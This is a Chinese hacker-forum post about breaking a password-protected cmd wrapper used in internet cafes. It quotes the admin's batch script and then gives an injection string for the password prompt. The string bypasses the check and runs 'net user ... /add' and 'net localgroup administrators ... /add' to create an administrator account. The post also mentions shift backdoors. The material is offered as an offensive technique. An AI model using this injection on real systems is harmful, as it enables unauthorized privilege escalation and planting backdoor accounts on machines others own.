|
图
昨天在群里聊天,有个朋友发了个批处理,看了之后也感觉没多大用,就没大在意,后来一想,以前在用shift后门的时候经常遇到个加密的cmd,而且网上也有一篇介绍给网管们防止注入的批处理,然后把那个批处理的路径放到HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command processor里,这样系统启动cmd就会首先执行那个批处理,这样就起到了加密cmd的作用,加密批处理内容如下:
echo 本网吧欢迎您
echo 你丫想干什么?要密码的哦~
:start
set /p pass=请输入CMD密码:
if %pass%==mima goto ok
if %time%==0 goto end
set /A times=%time%-1
:end
exit
cls
:ok
title 密码正确!欢迎进入DOS的世界!
Pause
执行后出现:,输错密码后会自动退出,无法执行命令!
这里是定义了一个变量存储密码,然后用“==”验证,我们知道cmd在执行的时候有个预处理过程,就是会把变量替换成内容,然后再执行,所以我们在输入密码的时候,如果输入这样一句:"1"=="1" (net user rebeyond rebeyond /add&net localgroup administrators rebeyond /add)&rem ,这样系统在把我们输入的密码和%pass%比较的那句就会变成这样:
If "1"=="1" (net user rebeyond3 reb /add&net localgroup administrators rebeyond3 /add)&rem ==mima goto ok,这样if判断的内容就是”1”==”1”,显然是成立的,然后就会执行括号里的内容,这样就实现了通过输入变量对批处理的注入,同时也绕过了密码验证而执行了我们的命令,我们可以通过&符号来一次执行多个命令,这样批处理的加密就对我们起不了任何作用了!由于我们不知道执行成功后会跳转到哪一个标签,所以暂时不能做到完美破解,我试图想通过echo显示出源码,但是不行,但是现在已经可以通过&连接执行多条命令了,所以对我们来说已经足够了~!!hoho……
|
版权声明:转载请注明来自于“华夏黑客同盟”,否则将追究法律责任。 |
|